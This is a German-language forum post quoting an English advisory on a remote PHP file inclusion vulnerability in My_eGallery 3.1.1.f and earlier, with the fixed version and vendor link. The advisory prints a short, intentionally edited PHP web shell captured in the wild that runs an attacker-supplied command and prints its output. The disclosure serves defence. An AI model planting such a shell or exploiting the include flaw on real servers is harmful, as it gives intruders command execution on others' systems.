hi,
hier gabs noch etwas ausfuerhliche Beschreibung dazu:
http://www.rootforum.de/forum/viewtopic.php?p=137643DETAILS
Vulnerable systems:
* My_eGallery version 3.1.1.f and prior
Immune systems:
* My_eGallery version 3.1.1.g
Certain PHP files have some parameters which are used in include functions
not filtered. An intruder can craft PHP code on their Web site and supply
parameter to My_eGallery so it actually includes malicious PHP code.
The following code was captured as being used in the wild (edited
intentionally):
<?
// CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
if (isset($chdir)) @chdir($chdir);
ob_start();
execute("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
print_output();
?>
This allows execution of any command on the server with My_eGallery, under
the privileges of the Web server (usually apache or httpd).
Solution:
Vendor was contacted and promptly replied. Fix is available at the
vendor's site:
<http://lottasophie.sourceforge.net/modules.php?op=modload&name=Downloads&file=index&req=viewdownload&cid=5>
http://lottasophie.sourceforge.net/modules.php?op=modload&name=Downloads&file=index&req=viewdownload&cid=5As this was seen being exploited in the wild, users are urged to upgrade
to the latest version as soon as possible.
ich denke aber mal die my_eGalleryversion die beim pragma dabei ist hat den Fehler nicht ...